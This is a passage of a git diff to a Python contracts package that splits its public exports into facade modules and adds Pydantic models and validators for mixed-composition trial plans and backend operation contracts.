dimension.capture_attribute + if dimension.name in overrides: + value = overrides[dimension.name] + elif attribute == _DERIVED: + raise ValueError(f"capture projection requires derived dimension {dimension.name}") + else: + value = None if attribute is None else getattr(requirement, attribute) + projected[dimension.name] = _projection_value(dimension, value) + return projected + + +__all__ = [ + "CAPTURE_DIMENSIONS", + "CAPTURE_SET_FIELDS", + "capture_offer_fields", + "capture_offer_payload", + "project_capture_dimensions", +] diff --git a/implementations/python/packages/raes_contracts/contracts/__init__.py b/implementations/python/packages/raes_contracts/contracts/__init__.py index 13eda7048..f8cc3222d 100644 --- a/implementations/python/packages/raes_contracts/contracts/__init__.py +++ b/implementations/python/packages/raes_contracts/contracts/__init__.py @@ -22,21 +22,25 @@ WorkflowFeature, WorkflowStatePredicateFeature, ) +from ._backend_operation_exports import * +from ._candidate_synthesis_facade import * +from ._evidence_requirement_exports import * from ._exports import PUBLIC_EXPORTS as __all__ +from ._participant_control_exports import * from ._version_exports import * from .admitted_trial_plan import AdmittedApparatusBindingModel as AdmittedApparatusBindingModel from .admitted_trial_plan import AdmittedBindingModel as AdmittedBindingModel from .admitted_trial_plan import AdmittedExecutionControlModel as AdmittedExecutionControlModel from .admitted_trial_plan import AdmittedInstantiationProvenanceModel as AdmittedInstantiationProvenanceModel -from .admitted_trial_plan import ( - AdmittedParticipantManifestReferenceModel as AdmittedParticipantManifestReferenceModel, -) +from .admitted_trial_plan import AdmittedMixedCompositionBindingModel as AdmittedMixedCompositionBindingModel +from .admitted_trial_plan import AdmittedParticipantManifestReferenceModel from .admitted_trial_plan import AdmittedSelectionRecordModel as AdmittedSelectionRecordModel from .admitted_trial_plan import AdmittedTrialEntryModel as AdmittedTrialEntryModel from .admitted_trial_plan import AdmittedTrialPlanAdmissionModel as AdmittedTrialPlanAdmissionModel from .admitted_trial_plan import AdmittedTrialPlanInputRefsModel as AdmittedTrialPlanInputRefsModel from .admitted_trial_plan import AdmittedTrialPlanModel as AdmittedTrialPlanModel from .admitted_trial_plan import AdmittedTrialPlanProfilesModel as AdmittedTrialPlanProfilesModel +from .admitted_trial_plan import AdmittedTrialSourceReferenceModel as AdmittedTrialSourceReferenceModel from .admitted_trial_plan import ExperimentScenarioFamilyReferenceModel as ExperimentScenarioFamilyReferenceModel from .admitted_trial_plan import seal_admitted_trial_entry as seal_admitted_trial_entry from .admitted_trial_plan import seal_admitted_trial_plan as seal_admitted_trial_plan @@ -65,30 +69,6 @@ from .batch_execution import validate_batch_execution_receipt as validate_batch_execution_receipt from .batch_execution import validate_scheduler_isolation_proof as validate_scheduler_isolation_proof from .bundle import schema_bundle -from .candidate_synthesis import ( - CandidateSynthesisAssumptionModel, - CandidateSynthesisChoiceModel, - CandidateSynthesisConstructTraceModel, - CandidateSynthesisContributionModel, - CandidateSynthesisDecisionModel, - CandidateSynthesisDisposition, - CandidateSynthesisInputModel, - CandidateSynthesisProfileCoordinateModel, - CandidateSynthesisProfileDefinitionModel, - CandidateSynthesisProfileLimitsModel, - CandidateSynthesisReason, - CandidateSynthesisRecordModel, - CandidateSynthesisSourceModel, - CandidateSynthesisTargetModel, - ConceptSourceAssertionModel, - ExampleSourceAssertionModel, - OrderingSourceAssertionModel, - ParameterizationSourceAssertionModel, - PreconditionSourceAssertionModel, - RelationshipSourceAssertionModel, - SourceAssertion, - SynthesisContributionKind, -) from .capabilities import ( ApparatusIdentityModel, BackendCompatibilityModel, @@ -161,13 +141,6 @@ from .experiment_bindings import * from .experiment_capture import * from .experiment_disclosure import * -from .experiment_evidence import ( - ExperimentDerivedMeasureMethodModel, - ExperimentDerivedMeasureModel, - ExperimentEvidenceRecordModel, - ExperimentRealizedFormDisclosureModel, - ExperimentRunTraceabilityModel, -) from .experiment_manifest_references import ( ExperimentBackendReferenceModel, ExperimentCaptureSpecReferenceModel, @@ -188,12 +161,11 @@ from .experiment_run import ( ExperimentInvalidationModel, ExperimentResultSummaryModel, - ExperimentRunEvidenceInputs, ExperimentRunModel, - validate_experiment_run_against_task, validate_experiment_run_structure_against_task, validate_experiment_run_time_model, ) +from .experiment_run_evidence_validation import ExperimentRunEvidenceInputs, validate_experiment_run_against_task from .experiment_selection import * from .experiment_spec import ( ExperimentEpisodeControlModel, @@ -239,11 +211,19 @@ ParticipantRuntimeCapabilitiesModel, ProcessorCapabilitiesV2Model, ProcessorManifestV2Model, + RecoveryObservationCapabilitiesModel, TimeCapabilitiesModel, ) from .manifests import CleanupCapabilitiesModel as CleanupCapabilitiesModel +from .materialization_attestation import MaterializationArchiveRecord, MaterializationAttestationReferenceModel +from .mixed_composition import ( + MIXED_COMPOSITION_CONTRACT_ID, + MixedParticipantCompositionProfileModel, + parse_mixed_composition_profile, + seal_mixed_composition_profile, +) +from .mixed_runtime import MixedCompositionRuntimeEventModel, MixedCompositionRuntimeStateModel from .observation_capture import ObservationCaptureOfferModel -from .operation_carriers import OperationReceiptModel, OperationStatusModel from .participant_context import ParticipantContextViewModel from .participant_decision_surface import ( ParticipantDecisionSurfaceActionEntryModel, @@ -336,6 +316,7 @@ validate_participant_control_occurrence_context, validate_participant_crossing_occurrence_context, ) +from .participant_outcomes import ParticipantOutcomeReportV2Model from .participant_runtime import ( ParticipantActionEffectResultModel, ParticipantActionPreconditionResultModel, @@ -470,8 +451,7 @@ from .trial_compilation import TrialCleanupTemplateModel as TrialCleanupTemplateModel from .trial_compilation import TrialCompilationLimitsModel as TrialCompilationLimitsModel from .trial_compilation import TrialExecutionAuthorityModel as TrialExecutionAuthorityModel -from .trial_provenance import ProcessorPlanKind as ProcessorPlanKind -from .trial_provenance import TrialExecutionAttemptReferenceModel as TrialExecutionAttemptReferenceModel +from .trial_provenance import ProcessorPlanKind, TrialExecutionAttemptReferenceModel from .trial_provenance import TrialProcessorPlanReferenceModel as TrialProcessorPlanReferenceModel from .trial_provenance import TrialRunProvenanceModel as TrialRunProvenanceModel from .validation_disclosure import ValidationBasisDisclosureDocumentModel diff --git a/implementations/python/packages/raes_contracts/contracts/_backend_operation_exports.py b/implementations/python/packages/raes_contracts/contracts/_backend_operation_exports.py new file mode 100644 index 000000000..21f73b900 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/_backend_operation_exports.py @@ -0,0 +1,72 @@ +"""Operation-contract facade exports, including the retained receipt/status boundary.""" + +from ..versions import ( + BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION, + BACKEND_OPERATION_CONTRACT_IDS, + BACKEND_OPERATION_CONTROL_SCHEMA_VERSION, + BACKEND_OPERATION_REQUEST_SCHEMA_VERSION, + BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION, + OPERATION_SCHEMA_VERSION, +) +from .backend_operation import ( + BackendOperationBindingModel, + BackendOperationCapabilitiesModel, + BackendOperationControlModel, + BackendOperationRequestModel, + OperationArtifactReferenceModel, + OperationBudgetModel, + OperationEffectScopeModel, +) +from .backend_operation_response import ( + BackendOperationAcknowledgementModel, + BackendOperationAdmissionModel, + BackendOperationControlDispositionModel, + BackendOperationEffectsModel, + BackendOperationOutcomeModel, + BackendOperationProgressModel, + BackendOperationReconciliationModel, + BackendOperationResponseModel, +) +from .backend_operation_validation import ( + backend_operation_control_digest, + backend_operation_request_digest, + canonical_backend_operation_capabilities_digest, + require_backend_operation_admission, + validate_backend_operation_history, + validate_backend_operation_response, +) +from .operation_carriers import OperationReceiptModel, OperationStatusModel + +__all__ = [ + "BackendOperationBindingModel", + "BackendOperationCapabilitiesModel", + "BackendOperationControlModel", + "BackendOperationRequestModel", + "OperationArtifactReferenceModel", + "OperationBudgetModel", + "OperationEffectScopeModel", + "BackendOperationAcknowledgementModel", + "BackendOperationAdmissionModel", + "BackendOperationControlDispositionModel", + "BackendOperationEffectsModel", + "BackendOperationOutcomeModel", + "BackendOperationProgressModel", + "BackendOperationReconciliationModel", + "BackendOperationResponseModel", + "backend_operation_control_digest", + "backend_operation_request_digest", + "canonical_backend_operation_capabilities_digest", + "require_backend_operation_admission", + "validate_backend_operation_history", + "validate_backend_operation_response", + "BACKEND_OPERATION_REQUEST_SCHEMA_VERSION", + "BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION", + "BACKEND_OPERATION_CONTROL_SCHEMA_VERSION", + "BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION", + "BACKEND_OPERATION_CONTRACT_IDS", + "OPERATION_SCHEMA_VERSION", + "OperationReceiptModel", + "OperationStatusModel", +] + +BACKEND_OPERATION_EXPORTS = __all__ diff --git a/implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py b/implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py new file mode 100644 index 000000000..dd216db52 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/_candidate_synthesis_facade.py @@ -0,0 +1,51 @@ +"""Public candidate-synthesis imports for the contracts facade.""" + +from .candidate_synthesis import ( + CandidateSynthesisAssumptionModel, + CandidateSynthesisChoiceModel, + CandidateSynthesisConstructTraceModel, + CandidateSynthesisContributionModel, + CandidateSynthesisDecisionModel, + CandidateSynthesisDisposition, + CandidateSynthesisInputModel, + CandidateSynthesisProfileCoordinateModel, + CandidateSynthesisProfileDefinitionModel, + CandidateSynthesisProfileLimitsModel, + CandidateSynthesisReason, + CandidateSynthesisRecordModel, + CandidateSynthesisSourceModel, + CandidateSynthesisTargetModel, + ConceptSourceAssertionModel, + ExampleSourceAssertionModel, + OrderingSourceAssertionModel, + ParameterizationSourceAssertionModel, + PreconditionSourceAssertionModel, + RelationshipSourceAssertionModel, + SourceAssertion, + SynthesisContributionKind, +) + +__all__ = [ + "CandidateSynthesisAssumptionModel", + "CandidateSynthesisChoiceModel", + "CandidateSynthesisConstructTraceModel", + "CandidateSynthesisContributionModel", + "CandidateSynthesisDecisionModel", + "CandidateSynthesisDisposition", + "CandidateSynthesisInputModel", + "CandidateSynthesisProfileCoordinateModel", + "CandidateSynthesisProfileDefinitionModel", + "CandidateSynthesisProfileLimitsModel", + "CandidateSynthesisReason", + "CandidateSynthesisRecordModel", + "CandidateSynthesisSourceModel", + "CandidateSynthesisTargetModel", + "ConceptSourceAssertionModel", + "ExampleSourceAssertionModel", + "OrderingSourceAssertionModel", + "ParameterizationSourceAssertionModel", + "PreconditionSourceAssertionModel", + "RelationshipSourceAssertionModel", + "SourceAssertion", + "SynthesisContributionKind", +] diff --git a/implementations/python/packages/raes_contracts/contracts/_evidence_requirement_exports.py b/implementations/python/packages/raes_contracts/contracts/_evidence_requirement_exports.py new file mode 100644 index 000000000..cdf44a244 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/_evidence_requirement_exports.py @@ -0,0 +1,21 @@ +"""Evidence-requirement re-exports for the contracts package facade.""" + +from . import experiment_evidence as _experiment_evidence + +ExperimentDerivedMeasureMethodModel = _experiment_evidence.ExperimentDerivedMeasureMethodModel +ExperimentDerivedMeasureModel = _experiment_evidence.ExperimentDerivedMeasureModel +ExperimentEvidenceRecordModel = _experiment_evidence.ExperimentEvidenceRecordModel +ExperimentEvidenceRequirementRelationModel = _experiment_evidence.ExperimentEvidenceRequirementRelationModel +ExperimentRealizedFormDisclosureModel = _experiment_evidence.ExperimentRealizedFormDisclosureModel +ExperimentRunTraceabilityModel = _experiment_evidence.ExperimentRunTraceabilityModel +validate_evidence_requirement_relations = _experiment_evidence.validate_evidence_requirement_relations + +__all__ = [ + "ExperimentDerivedMeasureMethodModel", + "ExperimentDerivedMeasureModel", + "ExperimentEvidenceRecordModel", + "ExperimentEvidenceRequirementRelationModel", + "ExperimentRealizedFormDisclosureModel", + "ExperimentRunTraceabilityModel", + "validate_evidence_requirement_relations", +] diff --git a/implementations/python/packages/raes_contracts/contracts/_exports.py b/implementations/python/packages/raes_contracts/contracts/_exports.py index fa590697c..2499c8b14 100644 --- a/implementations/python/packages/raes_contracts/contracts/_exports.py +++ b/implementations/python/packages/raes_contracts/contracts/_exports.py @@ -1,8 +1,16 @@ """Canonical public export manifest for the contracts facade.""" +from ._backend_operation_exports import BACKEND_OPERATION_EXPORTS from ._candidate_synthesis_exports import CANDIDATE_SYNTHESIS_EXPORTS +from ._mixed_composition_exports import MIXED_COMPOSITION_EXPORTS +from ._participant_control_exports import PARTICIPANT_CONTROL_EXPORTS PUBLIC_EXPORTS = [ + *BACKEND_OPERATION_EXPORTS, + *PARTICIPANT_CONTROL_EXPORTS, + *MIXED_COMPOSITION_EXPORTS, + "MaterializationArchiveRecord", + "MaterializationAttestationReferenceModel", "DescriptionCoverageModel", "DescriptionFactModel", "DescriptionProvenanceModel", @@ -51,6 +59,7 @@ "BackendCompatibilityModel", "BackendManifestV2Model", "BackendCapabilitiesV2Model", + "RecoveryObservationCapabilitiesModel", "BehavioralClaimBindingModel", "BEHAVIORAL_RELATION_PROFILE_SCHEMA_VERSION", "BehavioralRelationId", @@ -152,6 +161,7 @@ "ExperimentEvidenceRecordModel", "ExperimentEvidenceRecordReferenceModel", "ExperimentEvidenceReferenceModel", + "ExperimentEvidenceRequirementRelationModel", "ExperimentEvaluationProtocolModel", "ExperimentInvalidationModel", "ExperimentManifestReferenceModel", @@ -226,9 +236,6 @@ "EvaluatorCapabilitiesModel", "EventClassificationModel", "InstantiationRequestModel", - "OPERATION_SCHEMA_VERSION", - "OperationReceiptModel", - "OperationStatusModel", "ObservedOperatingSystemIdentityModel", "ObservationCaptureOfferModel", "ObservationCapabilitiesModel", @@ -336,6 +343,7 @@ "ParticipantObservationStochasticContextModel", "ParticipantOutcomeInterpretationRecordModel", "ParticipantOutcomeReportModel", + "ParticipantOutcomeReportV2Model", "ParticipantOutcomeReportSourceModel", "ParticipantOutcomeReportStateRelationshipModel", "ParticipantOutcomeSourceRecordModel", @@ -479,6 +487,7 @@ "validate_experiment_study_structure_against_tasks_and_runs", "validate_experiment_study_archival_datetimes", "validate_experiment_task_archival_datetimes", + "validate_evidence_requirement_relations", "ValidationBasisDisclosureDocumentModel", "validate_experiment_run_time_model", "TimeCapabilitiesModel", diff --git a/implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py b/implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py new file mode 100644 index 000000000..0a329606d --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/_mixed_composition_exports.py @@ -0,0 +1,14 @@ +"""Public mixed-composition contract exports.""" + +MIXED_COMPOSITION_EXPORTS = [ + "AdmittedMixedCompositionBindingModel", + "AdmittedTrialSourceReferenceModel", + "MIXED_COMPOSITION_CONTRACT_ID", + "MixedCompositionRuntimeEventModel", + "MixedCompositionRuntimeStateModel", + "MixedParticipantCompositionProfileModel", + "parse_mixed_composition_profile", + "seal_mixed_composition_profile", +] + +__all__ = ["MIXED_COMPOSITION_EXPORTS"] diff --git a/implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py b/implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py new file mode 100644 index 000000000..21c1b285d --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/_participant_control_exports.py @@ -0,0 +1,47 @@ +"""Participant-control public facade and export manifest.""" + +from .participant_control_applicability import ParticipantControlRequestV2Model, ParticipantControlSelectionV2Model +from .participant_control_composition import ( + ParticipantControlEvaluationModel, + ParticipantControlRequestModel, + parse_participant_control_evaluation, +) +from .participant_control_evaluation_v2 import ( + ParticipantControlEvaluationV2Model, + parse_participant_control_evaluation_v2, +) +from .participant_control_profiles import ParticipantControlTeachingProfileModel, load_teaching_influence_profile +from .participant_control_resolution import ( + ControlCommittedEffectIntentV2, + ParticipantControlContextResolver, + ParticipantControlContextResolverV2, + ParticipantControlValidationContext, + ParticipantControlValidationContextV2, + validate_participant_control_context, + validate_participant_control_resolved_context, + validate_participant_control_resolved_context_v2, +) +from .participant_control_selection import ParticipantControlSelectionModel + +__all__ = [ + "ParticipantControlEvaluationModel", + "ParticipantControlRequestModel", + "ParticipantControlSelectionModel", + "ParticipantControlRequestV2Model", + "ParticipantControlSelectionV2Model", + "ParticipantControlEvaluationV2Model", + "ParticipantControlTeachingProfileModel", + "load_teaching_influence_profile", + "ParticipantControlContextResolver", + "ParticipantControlValidationContext", + "validate_participant_control_context", + "validate_participant_control_resolved_context", + "ParticipantControlValidationContextV2", + "ControlCommittedEffectIntentV2", + "ParticipantControlContextResolverV2", + "validate_participant_control_resolved_context_v2", + "parse_participant_control_evaluation", + "parse_participant_control_evaluation_v2", +] + +PARTICIPANT_CONTROL_EXPORTS = __all__ diff --git a/implementations/python/packages/raes_contracts/contracts/_version_exports.py b/implementations/python/packages/raes_contracts/contracts/_version_exports.py index 9f018af6e..d34a1253b 100644 --- a/implementations/python/packages/raes_contracts/contracts/_version_exports.py +++ b/implementations/python/packages/raes_contracts/contracts/_version_exports.py @@ -49,3 +49,9 @@ UCO_ALIGNMENT_SCHEMA_VERSION = _versions.UCO_ALIGNMENT_SCHEMA_VERSION WORKFLOW_CANCELLATION_REQUEST_SCHEMA_VERSION = _versions.WORKFLOW_CANCELLATION_REQUEST_SCHEMA_VERSION WORKFLOW_STATE_SCHEMA_VERSION = _versions.WORKFLOW_STATE_SCHEMA_VERSION + +BACKEND_OPERATION_REQUEST_SCHEMA_VERSION = _versions.BACKEND_OPERATION_REQUEST_SCHEMA_VERSION +BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION = _versions.BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION +BACKEND_OPERATION_CONTROL_SCHEMA_VERSION = _versions.BACKEND_OPERATION_CONTROL_SCHEMA_VERSION +BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION = _versions.BACKEND_OPERATION_RESPONSE_SCHEMA_VERSION +BACKEND_OPERATION_CONTRACT_IDS = _versions.BACKEND_OPERATION_CONTRACT_IDS diff --git a/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py b/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py index 5390ddb89..6d57d1ae3 100644 --- a/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py +++ b/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan.py @@ -44,11 +44,13 @@ AdmittedBindingModel, AdmittedExecutionControlModel, AdmittedInstantiationProvenanceModel, + AdmittedMixedCompositionBindingModel, AdmittedParticipantManifestReferenceModel, AdmittedSelectionRecordModel, AdmittedTrialPlanAdmissionModel, AdmittedTrialPlanInputRefsModel, AdmittedTrialPlanProfilesModel, + AdmittedTrialSourceReferenceModel, BindingOrigin, ExperimentScenarioFamilyReferenceModel, SelectionPolicyKind, @@ -142,7 +144,7 @@ class AdmittedTrialEntryModel(ContractModel): selections: list[AdmittedSelectionRecordModel] = Field(default_factory=list) bindings: list[AdmittedBindingModel] = Field(default_factory=list) stochastic_draws: list[RandomStreamDrawRecordModel] = Field(default_factory=list) - apparatus: AdmittedApparatusBindingModel + apparatus: AdmittedApparatusBindingModel | AdmittedMixedCompositionBindingModel execution_controls: AdmittedExecutionControlModel instantiation_provenance: AdmittedInstantiationProvenanceModel entry_digest: PrefixedDigestString @@ -266,6 +268,50 @@ def _validate_identity_graph(self) -> None: raise ValueError("entry instantiation_provenance scenario_family_id must equal the pinned family ref") def _validate_joins(self) -> None: + mixed_entries = self._validate_profile_joins() + if any( + entry.apparatus.source_trial is not None and entry.apparatus.source_trial.plan_id == self.plan_id + for entry in mixed_entries + ): + raise ValueError("mixed composition source trials must reference an external already-sealed plan") + self._validate_cleanup_joins() + + def _validate_profile_joins(self) -> list[AdmittedTrialEntryModel]: + mixed_entries = [ + entry + for entry in self.entries.values() + if isinstance(entry.apparatus, AdmittedMixedCompositionBindingModel) + ] + mixed_profile = self.profiles.compiler_profile == "trial-compiler-mixed-composition-v1" + if bool(mixed_entries) != mixed_profile: + raise ValueError("mixed composition entries require the matching compiler and identity profiles") + if mixed_profile and ( + self.profiles.entry_identity_profile != "trial-entry-identity-mixed-composition-v1" + or self.profiles.run_identity_profile != "archival-run-identity-mixed-composition-v1" + ): + raise ValueError("mixed composition compiler and identity profiles must move together") + if not mixed_profile and ( + self.profiles.entry_identity_profile != "trial-entry-identity-v1" + or self.profiles.run_identity_profile != "archival-run-identity-v1" + ): + raise ValueError("legacy compiler and identity profiles must move together") + declared_profiles = { + (reference.ref_id, reference.ref_version, reference.ref_digest) + for reference in self.input_refs.mixed_composition_profile_refs + } + used_profiles = { + ( + entry.apparatus.profile_ref.ref_id, + entry.apparatus.profile_ref.ref_version, + entry.apparatus.profile_ref.ref_digest, + ) + for entry in mixed_entries + } + if declared_profiles != used_profiles: + raise ValueError("mixed composition entry profile references must equal the plan's exact input set") + return mixed_entries + + def _validate_cleanup_joins(self) -> None: referenced_cleanup: set[str] = set() for entry in self.entries.values(): cleanup_ref = entry.execution_controls.cleanup_plan_ref @@ -321,8 +367,9 @@ def __get_pydantic_json_schema__(cls, core_schema: CoreSchema, handler: GetJsonS "admitted-trial-plan-identity-joins-and-integrity", "An admitted trial plan keeps map keys equal to embedded ids, keeps plan/entry/run identities distinct, " "gives every entry a unique logical coordinate and archival run_id, resolves cleanup and " - "stochastic-control joins (with each draw addressed to its entry coordinate) and isolation-proof entries " - "within the sealed plan, requires values duplicated from incumbent authorities (random-stream profile, " + "stochastic-control joins (with each draw addressed to its entry coordinate), exact mixed-composition " + "profile inputs, and isolation-proof entries within the sealed plan, requires values duplicated from " + "incumbent authorities (random-stream profile, " "binding condition/family) to agree, forbids bounded-parallel entries from sharing resources, matches " "admission cardinality, and binds the complete plan with a recomputed plan_digest over the entry set.", validator="raes_contracts.contracts.admitted_trial_plan.AdmittedTrialPlanModel._validate_plan", @@ -360,6 +407,7 @@ def seal_admitted_trial_plan(**fields: object) -> AdmittedTrialPlanModel: "AdmittedBindingModel", "AdmittedExecutionControlModel", "AdmittedInstantiationProvenanceModel", + "AdmittedMixedCompositionBindingModel", "AdmittedParticipantManifestReferenceModel", "AdmittedSelectionRecordModel", "AdmittedTrialEntryModel", @@ -367,6 +415,7 @@ def seal_admitted_trial_plan(**fields: object) -> AdmittedTrialPlanModel: "AdmittedTrialPlanInputRefsModel", "AdmittedTrialPlanModel", "AdmittedTrialPlanProfilesModel", + "AdmittedTrialSourceReferenceModel", "BindingOrigin", "ExperimentScenarioFamilyReferenceModel", "SelectionPolicyKind", diff --git a/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py b/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py index 931693d8e..930d1b0eb 100644 --- a/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py +++ b/implementations/python/packages/raes_contracts/contracts/admitted_trial_plan_components.py @@ -49,11 +49,20 @@ class AdmittedTrialPlanProfilesModel(ContractModel): """ coordinate_profile: Literal["trial-coordinate-v1"] - entry_identity_profile: Literal["trial-entry-identity-v1"] - run_identity_profile: Literal["archival-run-identity-v1"] + entry_identity_profile: Literal[ + "trial-entry-identity-v1", + "trial-entry-identity-mixed-composition-v1", + ] + run_identity_profile: Literal[ + "archival-run-identity-v1", + "archival-run-identity-mixed-composition-v1", + ] canonicalization_profile: Literal["jcs-sha256-v1"] integrity_profile: Literal["acyclic-digest-chain-v1"] - compiler_profile: Literal["trial-compiler-v1"] + compiler_profile: Literal[ + "trial-compiler-v1", + "trial-compiler-mixed-composition-v1", + ] selection_policy_profile: Literal["experiment-selection-v1"] random_stream_profile: Literal["blake3-xof-v1"] execution_control_profile: Literal["attempt-control-v1"] @@ -91,6 +100,10 @@ class AdmittedTrialPlanInputRefsModel(ContractModel): binding_descriptor_set_ref: ExperimentReferenceModel | None = None study_ref: ExperimentReferenceModel | None = None associated_artifact_set_ref: ExperimentReferenceModel | None = None + mixed_composition_profile_refs: list[ExperimentReferenceModel] = Field( + default_factory=list, + json_schema_extra={"uniqueItems": True}, + ) @model_validator(mode="after") def _validate_input_refs(self) -> AdmittedTrialPlanInputRefsModel: @@ -106,8 +119,27 @@ def _validate_input_refs(self) -> AdmittedTrialPlanInputRefsModel: _require_ref(self.study_ref, "study", digest=False, field="study_ref") if self.associated_artifact_set_ref is not None: _require_ref(self.associated_artifact_set_ref, "other", digest=True, field="associated_artifact_set_ref") + profile_keys: set[tuple[str, str | None]] = set() + for reference in self.mixed_composition_profile_refs: + _require_ref(reference, "profile", digest=True, field="mixed_composition_profile_refs") + if reference.ref_path is not None: + raise ValueError("mixed composition profile references must not carry host paths") + key = (reference.ref_id, reference.ref_version) + if key in profile_keys: + raise ValueError("mixed_composition_profile_refs must identify unique profiles") + profile_keys.add(key) return self + @model_serializer(mode="wrap") + def _serialize_optional_profile_refs( + self, + handler: SerializerFunctionWrapHandler, + ) -> dict[str, object]: + payload = handler(self) + if not self.mixed_composition_profile_refs: + payload.pop("mixed_composition_profile_refs", None) + return payload + class AdmittedSelectionRecordModel(ContractModel): """One resolved variation selection with its selection-policy origin as provenance.""" @@ -139,6 +171,22 @@ class AdmittedParticipantManifestReferenceModel(ContractModel): manifest_digest: PrefixedDigestString +def _validate_participant_manifest_refs( + references: list[AdmittedParticipantManifestReferenceModel], +) -> None: + participant_keys = [ + ( + reference.participant_address, + reference.implementation_name, + reference.implementation_version, + reference.manifest_version, + ) + for reference in references + ] + if len(participant_keys) != len(set(participant_keys)): + raise ValueError("apparatus participant_manifest_refs must identify unique participant manifests") + + class AdmittedApparatusBindingModel(ContractModel): """Pre-run apparatus selection intent pinned by manifest and realization envelope. @@ -162,17 +210,46 @@ def _validate_apparatus(self) -> AdmittedApparatusBindingModel: "admitted apparatus manifest references must be digest-pinned to a concrete " "processor/backend manifest payload; id/version-only references are not sealable" ) - participant_keys = [ - ( - reference.participant_address, - reference.implementation_name, - reference.implementation_version, - reference.manifest_version, - ) - for reference in self.participant_manifest_refs - ] - if len(participant_keys) != len(set(participant_keys)): - raise ValueError("apparatus participant_manifest_refs must identify unique participant manifests") + _validate_participant_manifest_refs(self.participant_manifest_refs) + return self + + @model_serializer(mode="wrap") + def _serialize_optional_participant_manifest_refs( + self, + handler: SerializerFunctionWrapHandler, + ) -> dict[str, object]: + payload = handler(self) + if not self.participant_manifest_refs: + payload.pop("participant_manifest_refs", None) + return payload + + +class AdmittedTrialSourceReferenceModel(ContractModel): + """Exact immediate-source join for a linked realization change.""" + + plan_id: NonEmptyString + plan_digest: PrefixedDigestString + plan_entry_id: NonEmptyString + entry_digest: PrefixedDigestString + run_id: NonEmptyString + + +class AdmittedMixedCompositionBindingModel(ContractModel): + """Exact composition-profile realization selected for one trial entry.""" + + realization_kind: Literal["mixed-composition"] = "mixed-composition" + profile_ref: ExperimentReferenceModel + participant_manifest_refs: list[AdmittedParticipantManifestReferenceModel] = Field(default_factory=list) + source_trial: AdmittedTrialSourceReferenceModel | None = None + + @model_validator(mode="after") + def _validate_profile_ref(self) -> AdmittedMixedCompositionBindingModel: + _require_ref(self.profile_ref, "profile", digest=True, field="profile_ref") + if self.profile_ref.ref_version is None: + raise ValueError("mixed composition profile references must pin a revision") + if self.profile_ref.ref_path is not None: + raise ValueError("mixed composition profile references must not carry host paths") + _validate_participant_manifest_refs(self.participant_manifest_refs) return self @model_serializer(mode="wrap") @@ -230,6 +307,7 @@ class AdmittedTrialPlanAdmissionModel(ContractModel): __all__ = [ "AdmittedApparatusBindingModel", + "AdmittedMixedCompositionBindingModel", "AdmittedBindingModel", "AdmittedExecutionControlModel", "AdmittedInstantiationProvenanceModel", @@ -237,6 +315,7 @@ class AdmittedTrialPlanAdmissionModel(ContractModel): "AdmittedTrialPlanAdmissionModel", "AdmittedTrialPlanInputRefsModel", "AdmittedTrialPlanProfilesModel", + "AdmittedTrialSourceReferenceModel", "BindingOrigin", "ExperimentScenarioFamilyReferenceModel", "SelectionPolicyKind", diff --git a/implementations/python/packages/raes_contracts/contracts/artifact_transformations.py b/implementations/python/packages/raes_contracts/contracts/artifact_transformations.py index ad1456496..ec930fdef 100644 --- a/implementations/python/packages/raes_contracts/contracts/artifact_transformations.py +++ b/implementations/python/packages/raes_contracts/contracts/artifact_transformations.py @@ -25,6 +25,7 @@ class ArtifactTransformationStatus(str, Enum): class ArtifactTransformationKind(str, Enum): SDL_AUTHORING = "sdl-authoring" + SDL_MATERIALIZATION = "sdl-materialization" PORTABLE_CONTRACT = "portable-contract" diff --git a/implementations/python/packages/raes_contracts/contracts/associated_artifacts.py b/implementations/python/packages/raes_contracts/contracts/associated_artifacts.py index e6103ab85..c64b6f27b 100644 --- a/implementations/python/packages/raes_contracts/contracts/associated_artifacts.py +++ b/implementations/python/packages/raes_contracts/contracts/associated_artifacts.py @@ -36,7 +36,7 @@ class AssociatedArtifactManifestModel(ContractModel): @model_validator(mode="after") def _validate_associated_artifact_manifest(self) -> AssociatedArtifactManifestModel: - scenario_kinds = {"scenario", "scenario-snapshot"} + scenario_kinds = {"scenario", "scenario-snapshot", "materialization-attestation"} parent_is_scenario = self.parent_ref.ref_kind in scenario_kinds if (self.scope == "scenario") != parent_is_scenario: raise ValueError("associated-artifact scope and parent kind must agree") @@ -99,7 +99,9 @@ def __get_pydantic_json_schema__( "properties": { "parent_ref": { "properties": { - "ref_kind": {"enum": ["scenario", "scenario-snapshot"]}, + "ref_kind": { + "enum": ["scenario", "scenario-snapshot", "materialization-attestation"] + }, } } } diff --git a/implementations/python/packages/raes_contracts/contracts/backend_operation.py b/implementations/python/packages/raes_contracts/contracts/backend_operation.py new file mode 100644 index 000000000..d3b52e1a2 --- /dev/null +++ b/implementations/python/packages/raes_contracts/contracts/backend_operation.py @@ -0,0 +1,130 @@ +"""Bounded portable requests for one backend invocation, never execution authority.""" + +from __future__ import annotations + +from typing import Annotated, Literal, Self + +from pydantic import ConfigDict, Field, model_validator + +from ..addressing import CompiledAddress +from ..operation_lifecycle import OperationAdmissionContext, OperationKind +from ..versions import ( + BACKEND_OPERATION_CAPABILITIES_SCHEMA_VERSION, + 